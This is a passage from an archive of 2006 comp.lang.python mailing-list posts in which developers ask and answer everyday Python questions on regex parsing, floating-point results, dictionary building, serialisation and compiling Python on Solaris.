import re
test = re.compile(regex)

testing is done as follows:
res = test.match(mystring)
if res:
    number = res.group(1) # always a string consisting of decimals
    comment = res.group(2) # string starting with ; or None
it might be necessary to have the instr part of the regex as follows
[iI][nN][sS][tT][rR] to handle things like Instr or INSTR.

Hope this helps

Dolf

On 6 Oct 2006 21:07:43 -0700, "Eric_Dexter at msn.com"
<Eric_Dexter at msn.com> wrote:

>apologies if I annoy and for spacing (google)
>
>
>
>def csdInstrumentList(from_file):
>    "Returns a list of .csd instruments and any comment lines after the
>instrument"
>    infile = open(from_file, 'r')
>    temp_number = 0
>    for line in infile:
>        if 'instr' in line:
>            s = re.split(r' +',line,3)
>            instr_number = s[1]
>    return instr_number
>
>I am coming pretty close to what I want with variations on theis but I
>cant seem to
>get 3 lines with the split and instr_number[array] = s[1] seems to give
>me an error.
>the data from the line I am trying to split in three would look like
>this
>
>  instr 83     ;comment would be here
>
>I want comment returned in an array and instr_number returned in an
>array.



From fredrik at pythonware.com  Mon Oct 30 02:20:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 08:20:17 +0100
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <4qlmncFnjfn7U1@individual.net>
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>	<1162156412.199341.315540@i42g2000cwa.googlegroups.com>
	<4qlmncFnjfn7U1@individual.net>
Message-ID: <ei493h$1gt$2@sea.gmane.org>

Bjoern Schliessmann wrote:

>> If that is not an option, then you are faced with a problem of
>> connecting a threaded programming model with an event based model
>> (twisted and and such).
> 
> I don't really see how threads could avoid a problem with delays in
> one connection ...

by running the database queries in one or more separate threads, you can 
still serve requests that don't hit the database (either because they're 
entirely self-contained, or because they only rely on cached data).

</F>



From edreamleo at charter.net  Mon Oct 23 07:24:23 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Mon, 23 Oct 2006 06:24:23 -0500
Subject: ANN: $500 prize for best Leo slideshows
Message-ID: <HD1%g.54$bc5.16@newsfe04.lga>

A prize of $500 prize is hereby offered to the person or persons who can
create the best slide shows (using Leo's slideshow plugin) that introduces
Leo to newbies.  What is Leo, you ask?

Home: http://webpages.charter.net/edreamleo/front.html
Tutorial: http://webpages.charter.net/edreamleo/leo_TOC.html
FAQ: http://webpages.charter.net/edreamleo/FAQ.html
Wiki: http://leo.zwiki.org/FrontPage

1. Prize fund

The total prize fund is $500.  Prizes will be awarded solely at the
discretion of Edward K. Ream.  The prize fund may be split among
contestants, and the total prize fund will be distributed only if the number
and quality of submissions warrant it.

2. Format of entries

Entries should be a *single* Leo outline.  This outline may contain multiple
slideshows. Multiple entries are allowed.  Entries must be accompanied by
your name, address and email address.

3. Ownership of entries

All entries become the property of Edward K. Ream and will be distributed
under the terms of Leo's Open Source license.

4. Criteria for awards

Prizes will be awarded on how useful the slideshow is in helping newbies
understand Leo.  To be considered for an award, an entry must show
substantial work.  I'll also consider creativity, originality, etc.  I'll
also look favorably on extensions to the slideshow plugin if such extensions
materially improve the presentation.

5. Duration of contest

The contest shall end December 11, 2006.  The contest may be extended at the
sole discretion of Edward K. Ream, but in no event shall the contest
continue past February 2, 2007.

Prizes will be awarded within one week of the close of the contest.  Winners
will be announced on Leo's Open Discussion Forum:

http://sourceforge.net/forum/forum.php?forum_id=10226

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From mail at microcorp.co.za  Mon Oct  9 01:48:05 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Mon, 9 Oct 2006 07:48:05 +0200
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu><1159493520.289291.276850@b28g2000cwb.googlegroups.com><mailman.912.1159494600.10491.python-list@python.org><eg98qb$6a3$1@lust.ihug.co.nz>
	<xkZVg.11410$UG4.10770@newsread2.news.pas.earthlink.net>
Message-ID: <018501c6eb67$33fe4ae0$03000080@hendrik>

"Dennis Lee Bieber" <wlfraed at ix.netcom.com>wrote:

8<--------------------------------------

> In the days of paper filing (I actually took Shorthand, and a
> Business Machines & Filing course in High School to avoid Phys.Ed.) the
> training for things like oriental names was to choose one for "surname".
> This is where the real papers would be stored. However, one was also
> taught to create cross-reference entries under the other names --
> basically single cards of the form:
>
> sort, name
> see name, sort
>
> I'll concede I doubt if any common database system is designed to
> include that concept <G>

This sort of thing reminds me of a parts inventory system that I worked on -
many moons ago - it had a replacement list consisting of  <old part number> <new
part number> - and you had to follow these links through to the bitter end, as
it could happen multiple times, avoiding infinite loops as you go - on a
"mainframe" with 64 kilobytes of core memory - not a job for recursion...

But luckily we had disks - I would hate to have to do this on a tape drive only
machine...

- Hendrik



From carsten at uniqsys.com  Sun Oct 15 00:18:29 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Sun, 15 Oct 2006 00:18:29 -0400
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
Message-ID: <20061015035913.M22853@uniqsys.com>

On 14 Oct 2006 20:33:13 -0700, Chris wrote
> >>> from math import *
> >>> sin(0)
> 0.0
> >>> sin(pi)
> 1.2246063538223773e-016
> >>> sin(2*pi)
> -2.4492127076447545e-016
> >>> cos(0)
> 1.0
> >>> cos(pi)
> -1.0
> >>> cos(2*pi)
> 1.0
> 
> The cosine function works fine, but I'm getting weird answers for sine.
> Is this a bug? Am I doing something wrong?

You're apparently not correctly reading python's answer to sin(pi).
1.2246063538223773e-016 is the scientific notation for the number
0.00000000000000012246063538223773, which is pretty darn close to zero, the
result you probably expected.

You're not getting *exactly* zero because you're not passing in *exactly* pi
but a close approximation of pi.

I'll leave it as an exercise for the reader to explain why cosine seems to
work fine. Hint: Look at cos(pi/2) and sin(pi/2).

-Carsten



From http  Tue Oct  3 08:38:07 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 05:38:07 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
Message-ID: <7x1wppk21c.fsf@ruckus.brouhaha.com>

Ben Finney <bignose+hates-spam at benfinney.id.au> writes:
> The existing SourceForge system runs on non-free software, which is a
> significant differentiator from Bugzilla.

The SourceForge software, at least in some versions, is free software.
See for example http://savannah.gnu.org for an instantiation, which
may be a fork.  I never followed the saga much.


From http  Thu Oct 12 20:54:25 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 17:54:25 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>
	<1160685854.118420.133080@e3g2000cwe.googlegroups.com>
	<mailman.408.1160699034.11739.python-list@python.org>
Message-ID: <7xmz81m3we.fsf@ruckus.brouhaha.com>

Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:
> That explains all. Finding the median in an efficient way (that is,
> without sorting the data first) isn't trivial, so your claim of "I can
> do that using only one temp variable" was a bit surprising...
> BTW, the median is the value which sits just in the middle of the list
> when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3

How is this?  Note that m and n are treated as constants, so
expressions like n-1, n/2 etc. are also constants.  Also assume
m[i+1] is evaluated as (m+1)[i] and of course m+1 is constant.

================================================================

#include <stdio.h>

int
median (int m[], int n)
{
  int i;
  while (1) {
      for (i = 0; i < n-1; i++) {
          if (m[i] > m[i+1]) {
              /* swap m[i] and m[i+1] with no temp var */
              m[i] ^= m[i+1];
              m[i+1] ^= m[i];
              m[i] ^= m[i+1];
              goto yes;
            }
        }
      break;
    yes:
      for (i = 0; i < n-1; i++) {
          if (m[i] > m[i+1]) {
              m[i] ^= m[i+1];
              m[i+1] ^= m[i];
              m[i] ^= m[i+1];
            }
        }
    }
  return m[n / 2];
}

int a[] = {9,6,1,5,4,2,8,3,7};

main()
{
  int m;
  m = median(a, 9);
  printf ("%d\n", m);
}


From http  Wed Oct  4 16:23:58 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 13:23:58 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de>
Message-ID: <7xwt7f4yox.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> You fail to recognize that Python is *already* using a non-free software
> for bug tracking, as do thousands of other projects. 

I don't think that reflects an explicit decision.  SF started out as
free software and the software became nonfree after people were
already using it.


From http  Thu Oct 12 01:21:11 2006
From: http (Paul Rubin)
Date: 11 Oct 2006 22:21:11 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
Message-ID: <7xslhuxg6w.fsf@ruckus.brouhaha.com>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> writes:
> Ok, I'll bite.  How do you compute the median of a list using just a single 
> temp var?

Well there's an obvious quadratic-time method...


From codecraig at gmail.com  Thu Oct 19 15:06:24 2006
From: codecraig at gmail.com (abcd)
Date: 19 Oct 2006 12:06:24 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <mailman.713.1161201865.11739.python-list@python.org>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
	<mailman.687.1161179634.11739.python-list@python.org>
	<1161181585.245045.41680@b28g2000cwb.googlegroups.com>
	<mailman.713.1161201865.11739.python-list@python.org>
Message-ID: <1161284784.295418.5940@k70g2000cwa.googlegroups.com>

Gabriel Genellina wrote:
> A VNC server is about 400K in size...


Yea, VNC is not an option in my case.

thanks anyway, perhaps I'll look into generating a slideshow using
HTML/javascript which can load the images.



From larry.bates at websafe.com  Thu Oct  5 16:45:32 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Thu, 05 Oct 2006 15:45:32 -0500
Subject: Request for recommendations: shared database without a server
In-Reply-To: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
Message-ID: <45256EEC.5030705@websafe.com>

EP wrote:
> I need to build a fairly simple application that will reside on remote
> storage, not on a server, and I am looking for any best practices and
> approaches that have worked for others.  I believe py2exe may be part
> of the solution.  Here's what I need to build:
> 
> --  A database application on a network drive
> --  A variety of users will access the database application at various
> times
> --  All computing is done on the client machines (Windows XP), as there
> is no server
> --  I'll not be able to install a database program, or Python, on the
> client machines
> 
> While this seems just the sort of application servers were designed
> for, the absence of a server is a firm constraint (no technological
> reason, just an arbitrary wall of infinite height)
> 
> I currently have some of the required database tables populated in
> MySQL, but I can migrate them as long as I have SQL capabilities in the
> new database.
> 
> Can I get there with MySQL?  Or do I need to pair a pure python
> approach (including the database) with py2exe?  Has anyone achieved
> this with a db framework like Dabo?  Or is there another, entirely
> different and better approach?
> 
> 
> The common wisdom around the halls is to just use MS Access, because
> apparently everyone has that on their client machines, or can be
> asked/expected to install it.  That's not my preference, but I need to
> forget my biases, be pragmatic and get the application done.
> 
> Thanks for any advice
> 
> 
> EP
> 

So what is going to be holding the "network drive" if it isn't a server?
And what is MySQL running on?

Isn't it 'odd' that you can expect people to install MS Access but not
some other program?

I had to use only "existing" database tools, and the data wasn't
too large or too complicated I would use ODBC to dBase file which
is built into all versions of Windows that I'm aware of.  I think
you would find that it would work for small number of users.  With
some good planning you should also be able to architect application
so that you can even change the underlying database later without
too much heartburn.

-Larry Bates



From robert.kern at gmail.com  Fri Oct 20 15:04:46 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Fri, 20 Oct 2006 14:04:46 -0500
Subject: ZODB and Python 2.5
In-Reply-To: <ehb3ub$a5m$1$8300dec7@news.demon.co.uk>
References: <ehb3ub$a5m$1$8300dec7@news.demon.co.uk>
Message-ID: <ehb6ke$1am$1@sea.gmane.org>

Andrew McLean wrote:
> I'm going to have to delay upgrading to Python 2.5 until all the 
> libraries I use support it. One key library for me is ZODB. I've Googled 
>   and can't find any information on the developers' plans. Does anyone 
> have any information that might help?

Since the Python development team tries hard to maintain backwards 
compatibility, the vast majority of Python packages will automatically support 
the newest release of Python in that they will work just dandy. Developers don't 
really have plans to do that kind of support since it just happens.

If you mean something else by "support" (like making use of new language or 
standard library features), then what do you mean?

I would suggest, in order:

1) Look on the relevant mailing list for people talking about using ZODB with 
Python 2.5.

2) Just try it. Install Python 2.5 alongside 2.4, install ZODB, run the test suite.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From python.sam at googlemail.com  Sun Oct  1 18:29:52 2006
From: python.sam at googlemail.com (sam)
Date: 1 Oct 2006 15:29:52 -0700
Subject: how to reuse class deinitions?
In-Reply-To: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
Message-ID: <1159741792.157143.222520@e3g2000cwe.googlegroups.com>

should read 'definitions', of course. i hate stupid typos.



From wolfgang.keller.nospam at gmx.de  Fri Oct 20 08:29:01 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Fri, 20 Oct 2006 14:29:01 +0200
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<eh8536$vk3$1@wake.carmen.se>
Message-ID: <0001HW.C15E8DAD003CA999F0509530@news.individual.de>

>> does anyone know of a good book that about development of database 
>> applications?
> 
> Scott Ambler's "Agile Database Techniques"

Thanks for the hint, the summaries indicate that this one could be very 
useful indeed.

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From python at hope.cz  Tue Oct 17 05:56:45 2006
From: python at hope.cz (Lad)
Date: 17 Oct 2006 02:56:45 -0700
Subject: Any idea how to do this in Python?
In-Reply-To: <Ut0Zg.8115$Lv3.6453@newsread1.news.pas.earthlink.net>
References: <1161072836.884393.204810@f16g2000cwb.googlegroups.com>
	<Ut0Zg.8115$Lv3.6453@newsread1.news.pas.earthlink.net>
Message-ID: <1161079005.891146.283920@i42g2000cwa.googlegroups.com>


Dennis,
Thank you for your reply
You say:
>Pretend you are the computer/application/etc.  How would YOU
> perform such a ranking?
That is what I do not know , how to perform such ranking.
Do you have any idea?

Regards,
Lad.



From grflanagan at yahoo.co.uk  Thu Oct 12 18:01:25 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 12 Oct 2006 15:01:25 -0700
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
Message-ID: <1160690485.551317.271150@m73g2000cwd.googlegroups.com>


RickMuller wrote:

> One of my all-time favorite scripts is parseline, which is printed
> below
>
> def parseline(line,format):
>     xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
>     result = []
>     words = line.split()
>     for i in range(len(format)):
>         f = format[i]
>         trans = xlat.get(f,'None')
>         if trans: result.append(trans(words[i]))
>     if len(result) == 0: return None
>     if len(result) == 1: return result[0]
>     return result
>
> This takes a line of text, splits it, and then applies simple
> formatting characters to return different python types. For example,
> given the line
>
> H    0.000   0.000   0.000
>
> I can call parseline(line,'sfff') and it will return the string 'H',
> and three floats. If I wanted to omit the first, I could just call
> parseline(line,'xfff'). If I only wanted the first 0.000, I could call
> parseline(line,'xf').
[...]
> I would love to hear how other people do similar things.
>
> Rick

MAP = {'s':str,'f':float,'d':int,'i':int}

def parseline( line, format, separator=' '):
    '''
    >>> parseline('A 1 2 3 4', 'sdxf')
    ['A', 1, 3.0]
    '''
    mapping = [ (i, MAP[f]) for (i,f) in enumerate(format) if f != 'x'
]
    parts = line.split(separator)
    return [f(parts[i]) for (i,f) in mapping]

def parseline2( line, format):
    '''
    >>> parseline('A 1 2 3 4', 'sdxf')
    ['A', 1, 3.0]
    '''
    return [f(line.split()[i]) for (i,f) in [(i, MAP[f]) for (i,f) in
enumerate(format) if f != 'x']]

def parselines(lines, format, separator=' '):
    '''
    >>> lines = [ 'A 1 2 3 4', 'B 5 6 7 8', 'C 9 10 11 12']
    >>> list(parselines(lines, 'sdxf'))
    [['A', 1, 3.0], ['B', 5, 7.0], ['C', 9, 11.0]]
    '''
    mapping = [ (i, MAP[f]) for (i,f) in enumerate(format) if f != 'x'
]
    for line in lines:
        parts = line.split(separator)
        yield [f(parts[i]) for (i,f) in mapping]


import doctest
doctest.testmod(verbose=True)



From python.list at tim.thechases.com  Sun Oct 15 09:37:33 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sun, 15 Oct 2006 08:37:33 -0500
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <1160918263.478229.137760@h48g2000cwc.googlegroups.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>	<egqoee$i81$03$1@news.t-online.com>	<1160916174.892851.39730@e3g2000cwe.googlegroups.com>	<mailman.539.1160917513.11739.python-list@python.org>	<1160918100.141668.128850@h48g2000cwc.googlegroups.com>
	<1160918263.478229.137760@h48g2000cwc.googlegroups.com>
Message-ID: <4532399D.2050700@tim.thechases.com>

>>>  >>> template = '%s, %s, %s'
>>>  >>> values = ('Tom', 'Dick', 'Harry')
>>>  >>> formatted = template % values
>>>  >>> import re
>>>  >>> unformat_string = template.replace('%s', '([^, ]+)')
>>>  >>> unformatter = re.compile(unformat_string)
>>>  >>> extracted_values = unformatter.search(formatted).groups()
>>>
>>> using '[^, ]+' to mean "one or more characters that aren't a
>>> comma or a space".
>>
>> One more thing (I forgot to mention this other situation earlier)
>> The %s characters are ints, and outside can be anything except int
>> characters. I do have one situation of '%s%s%s', but I can change it to
>> '%s', and change the output into the needed output, so that's not
>> important. Think something along the lines of "abckdaldj iweo%s
>> qwierxcnv !%sjd".
> 
> That was written in haste. All the information is true. The question:
> I've already created a function to do this, using your original
> deformat function. Is there any way in which it might go wrong?

Only you know what anomalies will be found in your data-sets.  If 
you know/assert that

-the only stuff in the formatting string is one set of characters

-that stuff in the replacement-values can never include any of 
your format-string characters

-that you're not using funky characters/formatting in your format 
string (such as "%%" possibly followed by an "s" to get the 
resulting text of "%s" after formatting, or trying to use other 
formatters such as the aforementioned "%f" or possibly "%i")

then you should be safe.  It could also be possible (with my 
original replacement of "(.*)") if your values will never include 
any substring of your format string.  If you can't guarantee 
these conditions, you're trying to make a cow out of hamburger. 
Or a pig out of sausage.  Or a whatever out of a hotdog. :)

Conventional wisdom would tell you to create a test-suite of 
format-strings and sample values (preferably worst-case funkiness 
in your expected format-strings/values), and then have a test 
function that will assert that the unformatting of every 
formatted string in the set returns the same set of values that 
went in.  Something like

tests = {
	'I was %s but now I am %s' : [
		('hot', 'cold'),
		('young', 'old'),
		],
	'He has 3 %s and 2 %s' : [
		('brothers', 'sisters'),
		('cats', 'dogs')
		]
	}

for format_string, values in tests:
	unformatter = format.replace('%s', '(.*)')
	for value_tuple in values:
		formatted = format_string % value_tuple
		unformatted = unformatter.search(formatted).groups()
		if unformatted <> value_tuple:
			print "%s doesn't match %s when unformatting %s" % (
				unformatted,
				value_tuple
				format_string)

-tkc










From laurent.pointal at limsi.fr  Tue Oct 24 05:32:20 2006
From: laurent.pointal at limsi.fr (Laurent Pointal)
Date: Tue, 24 Oct 2006 11:32:20 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <mailman.1046.1161677264.11739.python-list@python.org>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>	<ehioo2$fef$1@sea.gmane.org>	<021801c6f734$cb375900$03000080@hendrik>	<87lkn6qh6q.fsf@benfinney.id.au>
	<mailman.1046.1161677264.11739.python-list@python.org>
Message-ID: <ehkmpg$506$1@upsn250.cri.u-psud.fr>

Thomas Heller a ?crit :
> Ben Finney schrieb:
>> "Hendrik van Rooyen" <mail at microcorp.co.za> writes:
>>
>> [quoting problems fixed]
>>
>>>  "Fredrik Lundh" <fredrik at pythonware.com> wrote:
>>>> some days, I ask myself why I shouldn't just use GPL for
>>>> everything I do, and ship it as source code only.
>>> because then you would deny your work to thousands of ungrateful,
>>> unmotivated lazy buggers like me...
>> Not necessarily. All it needs is one person (with the same platform
>> you want to use) to take the source, build it for that platform, and
>> make it available. All the other "ungrateful, unmotivated lazy
>> buggers" can then take advantage of that -- and reward the person with
>> whatever praise they require :-)
>>
> I wonder if it would be possible to setup a windows box which provides
> a (web-)service that allows to build Python packages.

You will have the problem of third-party libraries dependancies (and
installation).

> Any ideas how this could be made secure?
> 
> Thomas
> 


From kenneth.m.mcdonald at sbcglobal.net  Wed Oct 25 15:42:56 2006
From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald)
Date: Wed, 25 Oct 2006 14:42:56 -0500
Subject: Any way of adding methods/accessors to built-in classes?
Message-ID: <453FBE40.5010700@sbcglobal.net>

This is possible with pure Python classes. Just add the method as new 
attribute of the class. However, that won't work for the builtins.

I know that this is somewhat dangerous, and also that I could subclass 
the builtins, but not being able to do things like '[1,2,3]'.length 
drives me a little nuts. Python is about the only computer language I 
use, and I think it's certainly the best of the scripting languages, but 
there are inconsistencies in the object model and some other things I 
wish I could fix. If could could modify the builtins this way, I'd be 
willing to take the risk.

Thanks,
Ken


From michael.pearmain at tangozebra.com  Wed Oct 18 12:06:05 2006
From: michael.pearmain at tangozebra.com (Mike P)
Date: 18 Oct 2006 09:06:05 -0700
Subject: Win32 python and excel macros
In-Reply-To: <1161187257.657252.87000@m73g2000cwd.googlegroups.com>
References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com>
	<1161186121.020753.20810@b28g2000cwb.googlegroups.com>
	<1161187257.657252.87000@m73g2000cwd.googlegroups.com>
Message-ID: <1161187565.132670.60320@f16g2000cwb.googlegroups.com>

After just running trying that update it hits the macro perfectly but
hten i get an error message after i type in a couple of values.. as per
below

Traceback (most recent call last):
  File "<string>", line 148, in ?
  File "<COMObject <unknown>>", line 14, in Run
  File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line
258, in _ApplyTypes_
    result = self._oleobj_.InvokeTypes(*(dispid, LCID, wFlags, retType,
argTypes) + args)
pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None,
None, None, 0, -2146827284), None)


I know you said you didn't know much about python, so if any other
experts outthere can give me a clue.. i'll be very appreciative

Mike



From ardsrk at gmail.com  Tue Oct 31 06:07:47 2006
From: ardsrk at gmail.com (ArdPy)
Date: 31 Oct 2006 03:07:47 -0800
Subject: python, threading and a radio timer
In-Reply-To: <1162261441.729997.309220@k70g2000cwa.googlegroups.com>
References: <1162261441.729997.309220@k70g2000cwa.googlegroups.com>
Message-ID: <1162292867.739502.86460@e64g2000cwd.googlegroups.com>


Renato wrote:
> Dear all,
>
> I found this nifty article on how to record your favourite radio show
> using cron and mplayer:
> http://grimthing.com/archives/2004/05/20/recording-streaming-audio-with-mplayer/
>
> Because I couldn't get the date in the filename (and was too lazy to
> look into sh/bash manuals), I decided to use Python. It was a good
> choice, because I decided to improve the timer - learning some more
> Python along the way!
>
> So, the idea is:
> - cron runs the script at a specific time
> - the script starts mplayer, and will keep checking the clock until
> it's time to kill mplayer
> - after mplayer has exited, oggenc is started to turn the raw WAV into
> ogg
> - and finally the remaining WAV is deleted
>
> This basic setting is quite easy, and I used os.spawnvp(os.P_WAIT,...),
> along with another CRON entry to kill mplayer.
>
> But then I got more ambitious: I wanted the script to keep checking if
> mplayer was alive - in case the connection goes down. Moreover, I would
> rather have the script stop mplayer than cron.
>
> At this point, I thought I should get some professional help... :) What
> is the right way to go? Would threads be overkill? If so, where can I
> go about looking for process control/management without delving into
> complex daemon architectures?
>
> So, rather than asking for code, I'm looking for guidance - this is a
> didactic experience!
>
> Cheers,
>
> Renato

I would suggest you take a look at Python 'commands' module. The module
lets you run Unix commands by taking them as parameters to function
calls. That is all I can say with my level of expertise.



From 06virg at gmail.com  Fri Oct  6 05:03:07 2006
From: 06virg at gmail.com (virg)
Date: 6 Oct 2006 02:03:07 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1428.1160124488.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
	<mailman.1428.1160124488.10491.python-list@python.org>
Message-ID: <1160125387.706686.70090@h48g2000cwc.googlegroups.com>

At the server, based on client request it does some computations , it
sends the result as dictionary (serialized) to the client.

hanumizzle wrote:
> On 6 Oct 2006 01:41:48 -0700, virg <06virg at gmail.com> wrote:
> > Hi,
> >  The data is simple dictionary with one or more keys. If i use YAML at
> > the client (webui) do i have to change serialisation method to YAML at
> > server also. Without changing serialisation method at server, can i use
> > any of the deserialisation methods at the client. We cannot change the
> > serialisation methods at the server since it is not under our control.
>
> Oh, poopy.
> 
> What do you have at the server end?
> 
> -- Theerasak



From gry at ll.mit.edu  Mon Oct  2 21:50:40 2006
From: gry at ll.mit.edu (George Young)
Date: Mon, 2 Oct 2006 21:50:40 -0400
Subject: loop beats generator expr creating large dict!?
Message-ID: <20061002215040.65003374.gry@ll.mit.edu>

[Python 2.5c2 (r25c2:51859, Sep 17 2006, 19:57:40), sparc solaris]

I am puzzled that creating large dicts with an explicit iterable of
key,value pairs seems to be slow.  I thought to save time by doing:

   palettes = dict((w,set(w)) for w in words)

instead of:

   palettes={}
   for w in words: 
      palettes[w]=set(w)

where words is a list of 200000 english words.  But, in fact,
timeit shows the generator expression takes 3.0 seconds
and the "for" loop 2.1 seconds.  Am I missing something?  

For good measure, I did an (old fashioned?!) list comprehension:

   palettes = dict([(w,set(w)) for w in words])

which took 3.1 seconds.  So it seems that, by either list
comprehension or generator expression, creating a large
dictionary all at once is slower than looping to set individual
entries.  This seems illogical.  Shouldn't dict be able to take
advantage of having all it's entries at once to create itself
faster?

-- George Young
-- 
"Are the gods not just?"  "Oh no, child.
What would become of us if they were?" (C.S. Lewis)


From fredrik at pythonware.com  Fri Oct 20 03:46:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 09:46:47 +0200
Subject: Downloading images with python
References: <op.thplxpimwt8ats@tko2353.windows.dnmi.no>
Message-ID: <eh9ut7$sv4$1@sea.gmane.org>

Hans Olav Hygen wrote:

> myfile = open("P:\Jobb\Prosjekt\Maanedsoversikt\myfile.jpg", "wb")
> myfile.write(s)
> myfile.close

make that "myfile.close()"

> But the images get cropped at the bottom.

files are closed when the program exits (unless it does so in an uncontrolled way),
so I assume you were trying to access the file while your script was still running.

</F> 





From cologuns at xs4all.nl  Thu Oct 12 10:46:19 2006
From: cologuns at xs4all.nl (Martijn de Munnik)
Date: Thu, 12 Oct 2006 16:46:19 +0200 (CEST)
Subject: Compile python on Solaris 64bit
Message-ID: <24983.217.195.243.130.1160664379.squirrel@webmail.xs4all.nl>

Hi,

I want to compile python on my solaris 10 system (amd 64 bit).

I did the following:

./configure --prefix=/opt/64/python
make

which resulted in this error:
"Include/pyport.h", line 730: #error: "LONG_BIT definition appears wrong
for platform (bad gcc/glibc config?)."

so I edited the file and removed the error line and did a configure and
make again after a make distclean.

after a new make I get this error complaining about 32 and 64 bit.

ld: fatal: file Parser/acceler.o: wrong ELF class: ELFCLASS32

when I look to the cc statements none of my CFLAGS are passed while these
are in my environment;

CC=cc
CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil
-xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
CXX=CC
CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all
-xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
LDFLAGS=-xtarget=opteron -xarch=amd64


anybody succesfully compiled python on solaris?

thanks,
martijn



From jcoleman at franciscan.edu  Sun Oct 29 16:18:59 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 29 Oct 2006 13:18:59 -0800
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162152161.321947.257870@m73g2000cwd.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<1162152161.321947.257870@m73g2000cwd.googlegroups.com>
Message-ID: <1162156739.376402.239880@k70g2000cwa.googlegroups.com>

A is not ommitted from DBECAFG - it just appears in a non-standard
